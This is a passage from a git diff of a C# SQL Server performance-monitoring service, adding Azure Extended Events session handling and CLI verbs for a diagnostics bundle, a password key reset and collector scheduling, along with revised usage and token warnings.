-    public bool PagerDutyEnabled => !string.IsNullOrWhiteSpace(_config.Webhooks.PagerDutyRoutingKey);
-    public string PagerDutyRoutingKey => _config.Webhooks.PagerDutyRoutingKey;
-    public bool PagerDutyUseEuRegion => _config.Webhooks.PagerDutyUseEuRegion;
-    public string PagerDutyProxyAddress => _config.Webhooks.PagerDutyProxy;
+    public bool PagerDutyEnabled => !string.IsNullOrWhiteSpace(Opened.Webhooks.PagerDutyRoutingKey);
+    public string PagerDutyRoutingKey => Opened.Webhooks.PagerDutyRoutingKey;
+    public bool PagerDutyUseEuRegion => Opened.Webhooks.PagerDutyUseEuRegion;
+    public string PagerDutyProxyAddress => Opened.Webhooks.PagerDutyProxy;
+    /* V166: the store column (authoritative), so a Viewer save lands on the next firing without a restart. */
+    public bool PagerDutyAutoResolve => Opened.Webhooks.PagerDutyAutoResolve;
 
     /// <summary>#3598 (V131): the sparse notification routes, read live through the by-reference config seam
     /// like every sibling — <c>StoreConfigProvider.ApplyToConfig</c> swaps the list on every beacon change,
     /// which the routes table's own trigger bumps, so a route authored in the Viewer lands on the next firing
     /// with no restart. The ONLY adapter that overrides the interface's empty default: Lite has no routes
     /// table and resolves every firing to its parent channels.</summary>
-    public IReadOnlyList<NotificationRoute> NotificationRoutes => _config.NotificationRoutes;
+    public IReadOnlyList<NotificationRoute> NotificationRoutes => Opened.Routes;
 
     /* Scheduled-analysis notifications (AN3): the shared AnalysisNotificationService's severity floor
        + per-finding re-notify cooldown. The severity floor is now a control-plane knob (config Stage
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingAlwaysOnXeSessions.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingAlwaysOnXeSessions.cs
new file mode 100644
index 0000000000..edaf83d195
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingAlwaysOnXeSessions.cs
@@ -0,0 +1,199 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Data;
+using System.Globalization;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Data.SqlClient;
+using Microsoft.Extensions.Logging;
+using PerformanceMonitor.Collectors;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>
+/// One database's pass of the Azure ensure for the deadlock or blocked-process session (#4961): the shared session when it is
+/// usable, this install's own when it is not, and back to the shared one once it is usable again. The decisions are
+/// <see cref="AlwaysOnXeAzureEnsure"/>'s, the same for both products; this keeps the choice on the runner and logs what the
+/// pass did.
+/// </summary>
+internal static class DarlingAlwaysOnXeSessions
+{
+    /// <summary>The key of one registration in the runner's choice map.</summary>
+    internal static string ServerKey(ServerRuntime server) => server.ServerId.ToString(CultureInfo.InvariantCulture);
+
+    /// <summary>
+    /// Runs the ensure for one capture in one database, and sets the choice. A failure is logged as a warning, with the caps
+    /// sentence when a create or start failed, and leaves the choice as it was: one broken database or session never blocks
+    /// the rest.
+    /// </summary>
+    internal static async Task EnsureAsync(
+        IAlwaysOnXeDatabase database,
+        DarlingCollectorRunner runner,
+        ServerRuntime server,
+        string databaseName,
+        AlwaysOnXeSessionKind kind,
+        string captureName,
+        ILogger? logger,
+        CancellationToken cancellationToken)
+    {
+        try
+        {
+            var current = runner.AlwaysOnChoices.Get(ServerKey(server), databaseName, kind);
+            var ownName = runner.AlwaysOnOwnSessionName(kind);
+            var result = await AlwaysOnXeAzureEnsure.RunAsync(database, kind, ownName, current, cancellationToken);
+            runner.AlwaysOnChoices.Set(ServerKey(server), databaseName, kind, result.Choice);
+            runner.AlwaysOnChoices.ClearReadOnlyRefusal(ServerKey(server), databaseName, kind);
+
+            switch (result.Change)
+            {
+                case AlwaysOnXeChange.Created:
+                    logger?.LogInformation("[{Server}] [{Database}] Created and started {Capture} XE session (database-scoped, {Choice} session)",
+                        server.Config.DisplayName, databaseName, captureName, result.Choice == AlwaysOnXeChoice.Own ? "own" : "shared");
+                    break;
+                case AlwaysOnXeChange.Started:
+                    logger?.LogInformation("[{Server}] [{Database}] {Capture} XE session was stopped and has been started ({Choice} session)",
+                        server.Config.DisplayName, databaseName, captureName, result.Choice == AlwaysOnXeChoice.Own ? "own" : "shared");
+                    break;
+                case AlwaysOnXeChange.FellBack:
+                    logger?.LogInformation("[{Server}] [{Database}] The shared {Capture} XE session cannot be used in this database, so this install reads its own, {Session}",
+                        server.Config.DisplayName, databaseName, captureName, ownName);
+                    break;
+                case AlwaysOnXeChange.SwitchedBack:
+                    logger?.LogInformation("[{Server}] [{Database}] The shared {Capture} XE session can be used again, so this install dropped its own and reads the shared one",
+                        server.Config.DisplayName, databaseName, captureName);
+                    break;
+                default:
+                    break;
+            }
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException && DarlingXeSessions.IsReadOnlyDatabaseRefusal(ex))
+        {
+            /* #4961: a read-only database, reached without read-only intent (an Azure geo-secondary), cannot hold a session.
+               The one message says why and what to change, in place of the server's own and the caps sentence, which does not
+               apply. It is a Warning the first time, and a Debug line on the hourly passes after it. */
+            var first = runner.AlwaysOnChoices.MarkReadOnlyRefusal(ServerKey(server), databaseName, kind);
+            logger?.Log(first ? LogLevel.Warning : LogLevel.Debug, "[{Server}] [{Database}] {Message}",
+                server.Config.DisplayName, databaseName, AlwaysOnXeSessions.ReadOnlyDatabaseMessage(kind));
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            logger?.LogWarning("[{Server}] [{Database}] Failed to ensure {Capture} XE session: {Message}",
+                server.Config.DisplayName, databaseName, captureName, AlwaysOnXeSessions.DescribeFailure(ex));
+        }
+    }
+
+    /// <summary>
+    /// The database for one pass: a registration with read-only intent gets a database that opens a second connection, without
+    /// the intent, when a create or a drop needs one (#4961); a registration without the intent gets its own connection alone,
+    /// as before. The caller disposes the result when it is <see cref="IDisposable"/>.
+    /// </summary>
+    internal static IAlwaysOnXeDatabase WithReadOnlyIntent(
+        DarlingCollectorRunner runner, ServerRuntime server, string databaseName, IAlwaysOnXeDatabase own) =>
+        WithReadOnlyIntent(
+            DarlingXeSessions.LongQueryTraceConnectionString(server, databaseName),
+            own,
+            runner.AlwaysOnXeConnectionForTests is { } open
+                ? (withoutIntent, token) => open(server, databaseName, withoutIntent, token)
+                : null);
+
+    /// <summary>
+    /// The same wrapping for a caller with no runner, such as the drop verb: <paramref name="ownConnectionString"/> is the string
+    /// <paramref name="own"/> was opened with. <paramref name="openForTests"/>, when set, replaces the open of the connection
+    /// without the intent, and is called with the string it would open.
+    /// </summary>
+    internal static IAlwaysOnXeDatabase WithReadOnlyIntent(
+        string ownConnectionString, IAlwaysOnXeDatabase own, Func<string, CancellationToken, Task<IAlwaysOnXeDatabase>>? openForTests = null)
+    {
+        if (!DarlingXeSessions.HasReadOnlyIntent(ownConnectionString))
+        {
+            return own;
+        }
+
+        var withoutIntent = DarlingXeSessions.WithoutReadOnlyIntent(ownConnectionString);
+        return new AlwaysOnXeReadOnlyIntentDatabase(own, async token =>
+        {
+            if (openForTests is not null)
+            {
+                return await openForTests(withoutIntent, token);
+            }
+
+            var connection = new SqlConnection(withoutIntent);
+            try
+            {
+                await connection.OpenAsync(token);
+            }
+            catch
+            {
+                await connection.DisposeAsync();
+                throw;
+            }
+
+            return new Database(connection, ownsConnection: true);
+        });
+    }
+
+    /// <summary>One open connection to one Azure SQL Database, as <see cref="AlwaysOnXeAzureEnsure"/> needs it.</summary>
+    internal sealed class Database : IAlwaysOnXeDatabase, IDisposable
+    {
+        private readonly SqlConnection _connection;
+        private readonly bool _ownsConnection;
+
+        /// <param name="connection">The open connection.</param>
+        /// <param name="ownsConnection">True when this object closes the connection: the one without read-only intent. The
+        /// registration's own connection is the caller's to close.</param>
+        internal Database(SqlConnection connection, bool ownsConnection = false)
+        {
+            _connection = connection;
+            _ownsConnection = ownsConnection;
+        }
+
+        public void Dispose()
+        {
+            if (_ownsConnection)
+            {
+                _connection.Dispose();
+            }
+        }
+
+        public async Task<AlwaysOnXeCatalog> ReadCatalogAsync(AlwaysOnXeSessionKind kind, string sessionName, CancellationToken cancellationToken)
+        {
+            var state = await ScalarAsync(AlwaysOnXeSessions.BuildAzureCatalogProbeSql(kind, "PerformanceMonitorDarling"), sessionName, cancellationToken);
+            return state is int value && Enum.IsDefined(typeof(AlwaysOnXeCatalog), value)
+                ? (AlwaysOnXeCatalog)value
+                : AlwaysOnXeCatalog.Missing;
+        }
+
+        public async Task<bool> IsStartedAsync(string sessionName, CancellationToken cancellationToken) =>
+            await ScalarAsync(AlwaysOnXeSessions.BuildAzureStartedProbeSql("PerformanceMonitorDarling"), sessionName, cancellationToken) is int started
+            && started == 1;
+
+        public async Task ExecuteAsync(string statement, CancellationToken cancellationToken)
+        {
+            using var command = new SqlCommand(statement, _connection);
+            command.CommandTimeout = 60;
+            await command.ExecuteNonQueryAsync(cancellationToken);
+        }
+
+        public bool IsAlreadyPresent(Exception exception) =>
+            exception is SqlException sql && DarlingXeSessions.IsBenignXeSessionAlreadyPresent(sql);
+
+        /* #4961: the shared marking leaves a read-only database's refusal without the caps sentence. */
+        public IEnumerable<int> ErrorNumbers(Exception exception) => DarlingXeSessions.ErrorNumbersOf(exception);
+
+        private async Task<object?> ScalarAsync(string statement, string sessionName, CancellationToken cancellationToken)
+        {
+            using var command = new SqlCommand(statement, _connection);
+            command.CommandTimeout = 60;
+            command.Parameters.Add(new SqlParameter("@session_name", SqlDbType.NVarChar, 128) { Value = sessionName });
+            return await command.ExecuteScalarAsync(cancellationToken);
+        }
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs
index 124beb505e..e873463fc7 100644
--- a/Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs
@@ -79,6 +79,14 @@ public static bool IsValidateConfigVerb(string arg) =>
     public static bool IsCheckSettingsVerb(string arg) =>
         string.Equals(arg, "--check-settings", StringComparison.OrdinalIgnoreCase);
 
+    /// <summary>The spelling the bug-report template shows for the diagnostics-bundle verb.</summary>
+    public const string DiagnosticsBundleVerbName = "--diagnostics-bundle";
+
+    /// <summary>The verb <see cref="DiagnosticsBundleAsync"/> handles (#5097): <c>--diagnostics-bundle</c> or its short form <c>--diag-bundle</c>.</summary>
+    public static bool IsDiagnosticsBundleVerb(string arg) =>
+        string.Equals(arg, DiagnosticsBundleVerbName, StringComparison.OrdinalIgnoreCase)
+        || string.Equals(arg, "--diag-bundle", StringComparison.OrdinalIgnoreCase);
+
     /// <summary>The verb <see cref="PrintViewerConnectionAsync"/> handles (darling-network-endpoints D8).</summary>
     public static bool IsPrintViewerConnectionVerb(string arg) =>
         string.Equals(arg, "--print-viewer-connection", StringComparison.OrdinalIgnoreCase);
@@ -167,6 +175,81 @@ public static bool IsEnableCollectorVerb(string arg) =>
     public static bool IsDisableCollectorVerb(string arg) =>
         string.Equals(arg, "--disable-collector", StringComparison.OrdinalIgnoreCase);
 
+    /// <summary>The verb <see cref="ResetPasswordKeyAsync"/> handles: mark the service's current password key replaced, so
+    /// the next start makes a new one (#5366). It changes the store only (as the store owner) and never touches a key file.</summary>
+    public static bool IsResetPasswordKeyVerb(string arg) =>
+        string.Equals(arg, "--reset-password-key", StringComparison.OrdinalIgnoreCase);
+
+    /// <summary>The hidden verb <see cref="DarlingPasswordKeySelfCheck"/> handles: <c>--self-check-password-key &lt;vector-path&gt;</c>
+    /// runs the real password key file, file identity and sealed-value code on Linux and exits non-zero on any failure (#5366).
+    /// It is not in <see cref="UsageText"/>: the Linux build job runs it, an operator has no use for it.</summary>
+    public static bool IsSelfCheckPasswordKeyVerb(string arg) =>
+        string.Equals(arg, "--self-check-password-key", StringComparison.OrdinalIgnoreCase);
+
+    /// <summary>The text <c>--reset-password-key</c> prints when the key was marked replaced. <paramref name="sealedPasswords"/>
+    /// is how many saved passwords are sealed to the old key and must be entered again.</summary>
+    public static string ResetPasswordKeyRestartSentence(int sealedPasswords) =>
+        sealedPasswords == 1
+            ? "Restart the service. It will make a new password key, and this 1 saved password must be entered again."
+            : $"Restart the service. It will make a new password key, and these {sealedPasswords.ToString(System.Globalization.CultureInfo.InvariantCulture)} saved passwords must be entered again.";
+
+    /// <summary>
+    /// <c>--reset-password-key [--config &lt;path&gt;]</c>: on the owner connection, in one transaction, counts the saved
+    /// passwords sealed to the current key and marks that key <c>replaced</c> with the reason <c>reset</c>. The next service
+    /// start retires the key file and makes a new key. Key files are never touched here.
+    /// </summary>
+    public static async Task<int> ResetPasswordKeyAsync(
+        string[] rest, TextWriter output, TextWriter error, CancellationToken cancellationToken)
+    {
+        const string Verb = "--reset-password-key";
+        string? configPath = null;
+        for (var i = 0; i < rest.Length; i++)
+        {
+            if (string.Equals(rest[i], "--config", StringComparison.OrdinalIgnoreCase) && i + 1 < rest.Length && !rest[i + 1].StartsWith('-'))
+            {
+                configPath = rest[++i];
+                continue;
+            }
+
+            error.WriteLine($"Unknown or incomplete option for {Verb}: {rest[i]}");
+            output.WriteLine($"Usage: {Verb} [--config <path to darling.json>]");
+            return CollectorToggleExitCode.UsageOrConfig;
+        }
+
+        var created = TryCreateCollectorStoreDataSource(Verb, configPath, error);
+        if (created is null)
+        {
+            return CollectorToggleExitCode.UsageOrConfig;
+        }
+
+        await using var dataSource = created;
+        try
+        {
+            await using var connection = await dataSource.OpenConnectionAsync(cancellationToken);
+            await using var transaction = await connection.BeginTransactionAsync(cancellationToken);
+            var sealedPasswords = await DarlingPasswordKeyStore.CountSealedPasswordsAsync(connection, cancellationToken);
+            var replaced = await DarlingPasswordKeyStore.MarkCurrentResetAsync(connection, cancellationToken);
+            await transaction.CommitAsync(cancellationToken);
+            output.WriteLine();
+            output.WriteLine(replaced is null
+                ? "The store publishes no password key, so there is nothing to reset."
+                : ResetPasswordKeyRestartSentence(sealedPasswords));
+            output.WriteLine();
+            return CollectorToggleExitCode.Success;
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            error.WriteLine($"Could not reset the password key in the store: {ex.Message}");
+            return CollectorToggleExitCode.StoreUnavailable;
+        }
+    }
+
+    /// <summary>The verb <see cref="SetCollectorRunAtAsync"/> handles: set, stop or clear the time of day a collector that runs once
+    /// a day starts, fleet-wide or for one server (#4938). A heavy daily collector otherwise runs whenever the service happened to
+    /// start, which is often a busy hour; this names a quiet one, on the monitored server's own clock.</summary>
+    public static bool IsSetCollectorRunAtVerb(string arg) =>
+        string.Equals(arg, "--set-collector-run-at", StringComparison.OrdinalIgnoreCase);
+
     /// <summary>The verb <see cref="DropXeSessionsAsync(string[], TextWriter, TextWriter, CancellationToken)"/> handles — drop the
     /// Extended Events sessions Darling created on a server this service still monitors (run it just before the server is
     /// removed), or with <c>--print-sql</c> print the guarded DROP statements for a server that is no longer configured (#4732).
@@ -196,6 +279,7 @@ public static bool IsKnownVerb(string arg) =>
         IsEncryptPasswordVerb(arg)
         || IsValidateConfigVerb(arg)
         || IsCheckSettingsVerb(arg)
+        || IsDiagnosticsBundleVerb(arg)
         || IsPrintViewerConnectionVerb(arg)
         || IsPrintMcpTokenVerb(arg)
         || IsPrintWebTokenVerb(arg)
@@ -213,7 +297,10 @@ public static bool IsKnownVerb(string arg) =>
         || IsAddServerVerb(arg)
         || IsEnableCollectorVerb(arg)
         || IsDisableCollectorVerb(arg)
-        || IsDropXeSessionsVerb(arg);
+        || IsSetCollectorRunAtVerb(arg)
+        || IsDropXeSessionsVerb(arg)
+        || IsResetPasswordKeyVerb(arg)
+        || IsSelfCheckPasswordKeyVerb(arg);
 
     /// <summary>
     /// Classifies the exe's command line from its FIRST argument (#1581): no args → run the host; a recognized
@@ -275,6 +362,7 @@ public static string UsageText() =>
         "  PerformanceMonitor.Darling.Service.exe --help, -h          Print this help and exit." + Environment.NewLine +
         "  PerformanceMonitor.Darling.Service.exe --test-connection   Validate darling.json and probe every configured server (the store's registry when it is reachable, otherwise the file's list)." + Environment.NewLine +
         "  PerformanceMonitor.Darling.Service.exe --check-settings [--json]   Print the store host profile and a verdict per sizing-relevant setting; exits non-zero if any is stale-after-hardware-change." + Environment.NewLine +
+        "  PerformanceMonitor.Darling.Service.exe --diagnostics-bundle <path> [--hours N] [--server <name>] [--log-dir <dir>] [--config <path>] [--alias-map <path>] [--include-log-text] [--force]   Write one aliased diagnostics file to attach to a bug report (run elevated on the store host; --diag-bundle is the short form)." + Environment.NewLine +
         "  PerformanceMonitor.Darling.Service.exe --encrypt-password  Encrypt a SQL-auth password for darling.json (reads stdin)." + Environment.NewLine +
         "  PerformanceMonitor.Darling.Service.exe --print-viewer-connection   Print a remote-viewer connection string (managed store)." + Environment.NewLine +
         "  PerformanceMonitor.Darling.Service.exe --print-mcp-token   Reprint the MCP bearer token from darling.json (run elevated; writes a LIVE token to stdout)." + Environment.NewLine +
@@ -293,8 +381,9 @@ public static string UsageText() =>
         "  PerformanceMonitor.Darling.Service.exe --add-server, --add-servers   Register monitored server(s) from a JSON array on stdin (the add_servers shape); the running service picks them up without a restart." + Environment.NewLine +
         "  PerformanceMonitor.Darling.Service.exe --enable-collector <name> [--server <server>] [--config <path>]   Turn a collector ON in the store's schedule overrides (fleet-wide by default; --server scopes it to one server) and print the resulting schedule rows. The running service applies it within one sweep." + Environment.NewLine +
         "  PerformanceMonitor.Darling.Service.exe --disable-collector <name> [--server <server>] [--config <path>]  Turn a collector OFF the same way. Frequency/retention overrides on the row are kept; only enabled changes." + Environment.NewLine +
-        "  PerformanceMonitor.Darling.Service.exe --drop-xe-sessions <server-name> [--dry-run] [--config <path>]   Drop the Extended Events sessions Darling created on a server this service still monitors (" + DarlingXeSessionCleanup.SessionNamesPhrase() + ", whichever exist; run it just before you remove the server, because the service never drops them then); --dry-run lists them and drops nothing." + Environment.NewLine +
-        "  PerformanceMonitor.Darling.Service.exe --drop-xe-sessions --print-sql   Print guarded DROP statements for each of those sessions in both scopes and connect to nothing, for a server that is no longer configured." + Environment.NewLine +
+        "  PerformanceMonitor.Darling.Service.exe --set-collector-run-at <collector> <HH:MM|none|default> [--server <server>] [--config <path>]   Set the time of day (the monitored server's own clock) a collector that runs once a day or less often starts; none stops a fixed time, default clears the row's time so the next level applies. Fleet-wide by default; --server scopes it to one server. Only the run time changes. The running service applies it within one sweep." + Environment.NewLine +
+        "  PerformanceMonitor.Darling.Service.exe --drop-xe-sessions <server-name> [--dry-run] [--config <path>]   Drop the Extended Events sessions Darling created on a server this service still monitors (" + DarlingXeSessionCleanup.SessionNamesPhrase() + ", and this install's own, whichever exist). Removing a server drops only this install's own sessions, so run this just before you remove the server to drop the shared ones too. It also lists the sessions of other installs and never drops them. --dry-run lists them and drops nothing." + Environment.NewLine +
+        "  PerformanceMonitor.Darling.Service.exe --drop-xe-sessions --print-sql   Print guarded DROP statements for the shared sessions, and a query that lists every install's sessions with their DROP statements, in both scopes. It connects to nothing, so use it for a server that is no longer configured or that a removal could not reach." + Environment.NewLine +
         "  PerformanceMonitor.Darling.Service.exe --backfill-rollups --dry-run   Show the plan, the disk estimate and the time budget, and change nothing.";
 
     /// <summary>
@@ -416,6 +505,21 @@ public static async Task<int> ValidateConfigAsync(
             return config.Servers;
         }
 
+        /* #5366: the pins that let an old-format saved password open are readable only as the store owner (row security
+           hides them from any other role). On a connection that is not the owner those servers cannot be checked, which is
+           not the same as their password needing to be entered again, so they are left out and the note says so. */
+        if (!await CanReadLegacyPinsAsync(connection, cancellationToken))
+        {
+            var notChecked = registryServers
+                .Where(s => s.RequiresResolvedSecret && DarlingSecrets.IsLegacyDpapi(s.EncryptedPassword) && !s.EncryptedPasswordDeclaredByFile)
+                .ToList();
+            if (notChecked.Count > 0)
+            {
+                output.WriteLine(OldFormatPasswordsNotCheckedText(notChecked.Count));
+                registryServers = registryServers.Where(s => !notChecked.Contains(s)).ToList();
+            }
+        }
+
         var registryNames = new HashSet<string>(StringComparer.OrdinalIgnoreCase);
         foreach (var server in registryServers)
         {
@@ -436,6 +540,31 @@ public static async Task<int> ValidateConfigAsync(
         return registryServers;
     }
 
+    /// <summary>The note <c>--validate-config</c> prints when its store connection is not the store owner, so the saved
+    /// passwords in the old format of <paramref name="count"/> server(s) were not checked (#5366).</summary>
+    internal static string OldFormatPasswordsNotCheckedText(int count) =>
+        $"NOTE: this connection is not the store owner, so the saved passwords of {count.ToString(System.Globalization.CultureInfo.InvariantCulture)} "
+        + "server(s) in the old format could not be checked and those server(s) were not tested. Run the verb with the service's own store connection to check them.";
+
+    /// <summary>True when this session may read the pins that old-format saved passwords are matched to: it is the owner of the
+    /// pin table, or the store has no such table yet. Never throws for a store answer.</summary>
+    internal static async Task<bool> CanReadLegacyPinsAsync(NpgsqlConnection connection, CancellationToken cancellationToken)
+    {
+        try
+        {
+            await using var command = new NpgsqlCommand(
+                "SELECT pg_has_role(session_user, c.relowner, 'MEMBER') FROM pg_catalog.pg_class c " +
+                "WHERE c.oid = pg_catalog.to_regclass('config.legacy_secret_pin')", connection)
+            { CommandTimeout = ServiceCommandDeadlines.CliStoreReadSeconds };
+            var answer = await command.ExecuteScalarAsync(cancellationToken);
+            return answer is null or DBNull || (answer is bool owner && owner);
+        }
+        catch (PostgresException)
+        {
+            return false;
+        }
+    }
+
     /// <summary>What <see cref="ResolveValidationTargetsAsync"/> tells the operator about the list it settled on, worded for the
     /// verb that asked: <see cref="WhenFileListIsUsed"/> finishes "so ..." when the store's registry cannot be read and
     /// darling.json's own list stands in, and <see cref="WhenServersAreFileOnly"/> finishes the warning about servers only the
@@ -543,6 +672,190 @@ ex is CryptographicException
             ? DarlingSecrets.DescribeStoreCredentialDecryptFailure(DarlingManagedPostgres.CredentialFileName)
             : ex.Message;
 
+    /// <summary>Exit codes <see cref="DiagnosticsBundleAsync"/> returns.</summary>
+    public static class DiagnosticsBundleExitCode
+    {
+        /// <summary>The bundle was written and every section was read.</summary>
+        public const int Ok = 0;
+
+        /// <summary>Bad arguments, a config that does not parse or validate, an unusable connection string, or an unknown --server. No file.</summary>
+        public const int ConfigError = 1;
+
+        /// <summary>The store could not be opened. A reduced bundle IS written.</summary>
+        public const int StoreUnreachable = 2;
+
+        /// <summary>The bundle was written, but one or more sections failed; the manifest lists which.</summary>
+        public const int PartialBundle = 3;
+
+        /// <summary>The path is not writable, the file exists without --force, or the size cap could not be met. No file.</summary>
+        public const int OutputError = 4;
+
+        /// <summary>The verifier still found a known name or secret after aliasing. No file.</summary>
+        public const int LeakGuard = 5;
+    }
+
+    /// <summary>
+    /// <c>--diagnostics-bundle</c> (#5097): writes one aliased JSON file a user can attach to a bug report. Reads only.
+    /// An unreachable store still writes a reduced bundle (the config shape and the service log) and exits 2; a
+    /// verifier hit exits 5 and writes nothing. See <see cref="DiagnosticsBundle"/>.
+    /// </summary>
+    public static async Task<int> DiagnosticsBundleAsync(
+        string[] args, TextWriter output, TextWriter error, CancellationToken cancellationToken)
+    {
+        var (options, parseError) = DiagnosticsBundle.ParseArgs(args);
+        if (options is null)
+        {
+            error.WriteLine(parseError);
+            error.WriteLine("Usage: --diagnostics-bundle <path> [--hours N] [--server <name>] [--log-dir <dir>] [--config <path>] [--alias-map <path>] [--include-log-text] [--force]");
+            return DiagnosticsBundleExitCode.ConfigError;
+        }
+
+        DarlingConfig config;
+        try
+        {
+            config = DarlingConfig.Load(options.ConfigPath);
+        }
+        catch (Exception ex)
+        {
+            error.WriteLine($"Could not load configuration: {ex.Message}");
+            return DiagnosticsBundleExitCode.ConfigError;
+        }
+
+        var postgres = config.Postgres;
+        if (postgres is null)
+        {
+            error.WriteLine("postgres section is required.");
+            return DiagnosticsBundleExitCode.ConfigError;
+        }
+
+        var problems = config.Validate();
+        if (problems.Count > 0)
+        {
+            error.WriteLine("Configuration is invalid:");
+            foreach (var problem in problems)
+            {
+                error.WriteLine("  - " + problem);
+            }
+
+            return DiagnosticsBundleExitCode.ConfigError;
+        }
+
+        if (!TryBuildStoreConnectionString(postgres, out var connectionString, out var unusable, ensureStoreSearchPath: true))
+        {
+            error.WriteLine(unusable);
+            return DiagnosticsBundleExitCode.ConfigError;
+        }
+
+        var mapProblem = DiagnosticsBundle.CheckAliasMap(options);
+        if (mapProblem is not null)
+        {
+            error.WriteLine(mapProblem);
+            return DiagnosticsBundleExitCode.ConfigError;
+        }
+
+        var outputProblem = DiagnosticsBundle.CheckOutput(options);
+        if (outputProblem is not null)
+        {
+            error.WriteLine(outputProblem);
+            return DiagnosticsBundleExitCode.OutputError;
+        }
+
+        NpgsqlDataSource? dataSource = null;
+        Exception? storeError = null;
+        string? storeReason = null;
+        if (string.IsNullOrWhiteSpace(connectionString))
+        {
+            storeReason = DiagnosticsBundle.MissingConnectionReason(postgres);
+        }
+        else
+        {
+            try
+            {
+                dataSource = NpgsqlDataSource.Create(
+                    DarlingStoreConnection.PinSessionTimeZoneUtc(
+                        DarlingStoreConnection.WithApplicationName(connectionString, DarlingManagedPostgres.CliApplicationName)));
+                using var probeBudget = CancellationTokenSource.CreateLinkedTokenSource(cancellationToken);
+                probeBudget.CancelAfter(TimeSpan.FromSeconds(ServiceCommandDeadlines.CliStoreReadSeconds * 2));
+                await using var probe = await dataSource.OpenConnectionAsync(probeBudget.Token);
+            }
+            catch (Exception ex) when (ex is not OperationCanceledException || !cancellationToken.IsCancellationRequested)
+            {
+                storeError = ex;
+                if (dataSource is not null)
+                {
+                    await dataSource.DisposeAsync();
+                    dataSource = null;
+                }
+            }
+        }
+
+        DiagnosticsBundleRunner.Outcome outcome;
+        try
+        {
+            /* #5366: sealed webhook values are opened with the key file read only, so the hosts they hold are aliased. */
+            var keyRing = DarlingCliSealKey.TryOpenFileRing(config, DarlingConfig.ResolveConfigPath(options.ConfigPath), null);
+            outcome = await DiagnosticsBundleRunner.BuildAsync(
+                options, config, connectionString, dataSource, storeError, storeReason, cancellationToken, keyRing: keyRing);
+        }
+        finally
+        {
+            if (dataSource is not null)
+            {
+                await dataSource.DisposeAsync();
+            }
+        }
+
+        foreach (var warning in outcome.Warnings ?? Array.Empty<string>())
+        {
+            error.WriteLine("WARNING: " + warning);
+        }
+
+        if (outcome.Text is null)
+        {
+            error.WriteLine(outcome.Message);
+            foreach (var leak in outcome.Leaks.Distinct())
+            {
+                error.WriteLine($"  blocked: {leak.Class} found in section '{leak.Section}', field '{leak.Field}'.");
+            }
+
+            error.WriteLine("Nothing was written.");
+            return outcome.ExitCode;
+        }
+
+        var writeProblem = DiagnosticsBundle.WriteAtomically(options.OutputPath, outcome.Text, options.Force);
+        if (writeProblem is not null)
+        {
+            error.WriteLine(writeProblem);
+            return DiagnosticsBundleExitCode.OutputError;
+        }
+
+        if (options.AliasMapPath is not null)
+        {
+            try
+            {
+                var lines = new List<string> { DiagnosticsBundle.AliasMapWarning };
+                lines.AddRange(outcome.Aliaser.AliasMapLines());
+                /* The same writer as the bundle: a random temp name created with CreateNew, then moved, so a planted link is replaced and never written through. */
+                var mapProblem2 = DiagnosticsBundle.WriteAtomically(options.AliasMapPath, string.Join(Environment.NewLine, lines) + Environment.NewLine, options.Force);
+                if (mapProblem2 is null)
+                {
+                    output.WriteLine("Alias map written (DO NOT ATTACH it): " + options.AliasMapPath);
+                }
+                else
+                {
+                    error.WriteLine("Could not write the alias map; the bundle itself was written.");
+                }
+            }
+            catch (Exception ex) when (ex is IOException or UnauthorizedAccessException)
+            {
+                error.WriteLine("Could not write the alias map (" + ex.GetType().Name + "); the bundle itself was written.");
+            }
+        }
+
+        output.WriteLine($"Wrote {outcome.Text.Length:N0} characters to {options.OutputPath}. Open it and check it before you attach it.");
+        return outcome.ExitCode;
+    }
+
     /// <summary>Exit codes <see cref="CheckSettingsAsync"/> returns — separate codes for a config problem, an
     /// unreachable store, and a settings result that needs attention, so a caller can tell them apart (#4214's
     /// ruling 7) instead of collapsing every failure into a bare non-zero.</summary>
@@ -852,7 +1165,7 @@ public static int PrintMcpToken(string? configPath, TextWriter output, TextWrite
             "mcp",
             "MCP bearer",
             "--print-mcp-token",
-            "Remote MCP clients send it as the header:  Authorization: Bearer <token>",
+            "Every MCP client sends it as the header:  Authorization: Bearer <token>",
             IsElevated(),
             network is not null && network.IsConfigured,
             () => network!.ResolveToken(out _),
@@ -974,8 +1287,8 @@ actual repair is to set the environment variable or correct the path. So the adv
            the warning. */
         error.WriteLine();
         error.WriteLine(
-            $"WARNING: the {tokenName} token below is written to STDOUT as PLAINTEXT. It gates ALL network access to "
-            + $"this endpoint. Redirect it to an ACL'd file or pipe it to the clipboard; do not leave it in shell "
+            $"WARNING: the {tokenName} token below is written to STDOUT as PLAINTEXT. It gates ALL access to "
+            + $"this endpoint, local clients included. Redirect it to an ACL'd file or pipe it to the clipboard; do not leave it in shell "
             + "scrollback, CI logs, or a screenshare.");
         error.WriteLine($"  Example (file):      PerformanceMonitor.Darling.Service.exe {verb} > token.txt");
         error.WriteLine($"  Example (clipboard): PerformanceMonitor.Darling.Service.exe {verb} | clip");
@@ -1889,7 +2202,7 @@ unparseable or fail-closed darling.json.
            it writes is deliberately file-defined + restart-only.
        ================================================================================================ */
 
-    private const string ServiceName = "PerformanceMonitor Darling";
+    internal const string ServiceName = "PerformanceMonitor Darling";
 
     /// <summary>
     /// Interactive wizard that guides the operator through the opt-in store / MCP / web-dashboard LAN exposure and writes
@@ -1962,6 +2275,16 @@ webNow.Reason is DarlingHostBinding.BindReason.NetworkExposed or DarlingHostBind
             storeNow.Roles is null ? null : string.Join(", ", storeNow.Roles), storeNow.DegradeReason));
         output.WriteLine(DarlingNetworkConfigEditor.FormatExposureState(
